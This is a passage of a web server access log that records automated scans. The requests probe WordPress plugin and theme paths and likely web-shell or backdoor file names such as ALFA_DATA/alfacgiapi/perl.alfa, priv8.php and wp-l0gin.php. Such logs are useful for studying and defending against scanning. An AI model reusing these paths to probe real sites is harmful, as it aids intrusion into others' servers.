- - [30/Apr/2025:23:36:25 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:36:25 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:26 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:26 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:26 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:26 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:26 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:27 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:36:27 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:27 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:27 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:27 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:27 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:28 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:28 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:28 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:28 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.160.244 - - [30/Apr/2025:23:36:28 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.160.244 - - [30/Apr/2025:23:36:29 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:29 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.160.244 - - [30/Apr/2025:23:36:29 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:36:29 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:29 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:29 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:30 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:30 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:30 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:30 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:30 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:31 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.160.244 - - [30/Apr/2025:23:36:31 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:31 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:31 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.160.244 - - [30/Apr/2025:23:36:31 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:32 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:32 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.160.244 - - [30/Apr/2025:23:36:32 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:32 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:32 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:32 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:33 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:33 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:36:33 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:33 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:36:33 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:33 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:34 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:34 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:36:34 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:34 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:34 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:34 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:35 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:35 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:35 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:36:35 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.160.244 - - [30/Apr/2025:23:36:35 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:36 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:36 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:36 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:36 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:36 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:36 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.160.244 - - [30/Apr/2025:23:36:37 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:37 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.160.244 - - [30/Apr/2025:23:36:37 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:37 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.160.244 - - [30/Apr/2025:23:36:37 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.160.244 - - [30/Apr/2025:23:36:37 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.160.244 - - [30/Apr/2025:23:36:38 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:36:38 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.160.244 - - [30/Apr/2025:23:36:38 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 195.191.219.131 - - [30/Apr/2025:23:49:41 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [30/Apr/2025:23:49:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [30/Apr/2025:23:50:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [30/Apr/2025:23:50:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 5.35.69.6 - - [30/Apr/2025:23:51:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 2607:a400:4:97::3 - - [01/May/2025:00:17:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 2607:a400:4:97::2 - - [01/May/2025:00:17:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 51.195.129.164 - - [01/May/2025:00:35:48 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:35:49 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:35:51 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:35:53 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:35:54 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:35:55 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:35:58 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:00 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:01 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:03 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:04 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:06 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:07 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:09 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:11 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:12 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:14 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:16 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:17 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:19 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:20 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:22 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:24 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:25 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:27 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:29 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:30 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:32 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:36:33 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) 